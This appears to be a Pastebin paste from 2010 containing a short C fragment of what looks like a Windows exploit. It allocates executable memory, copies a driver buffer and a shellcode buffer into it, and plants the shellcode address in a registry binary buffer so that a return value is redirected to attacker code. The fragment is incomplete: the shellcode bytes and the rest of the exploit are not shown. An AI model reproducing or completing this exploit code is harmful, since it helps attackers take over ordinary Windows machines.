Advertisement
Guest User

Untitled

a guest
Nov 25th, 2010
438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. // Allocate buffer for the driver
  2. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  3. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));
  4.  
  5. BYTE* pMem; // shellcode
  6. DWORD ExpSize = 0;
  7.  
  8. BYTE RegBuf[0x40] = {0}; // reg binary buffer
  9.  
  10. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  11. memcpy(pMem, Data, sizeof(Data)); // Copy shellcode
  12.  
  13. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem; // Point return value to our buffer
  14.  
  15. ExpSize = 0x28;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement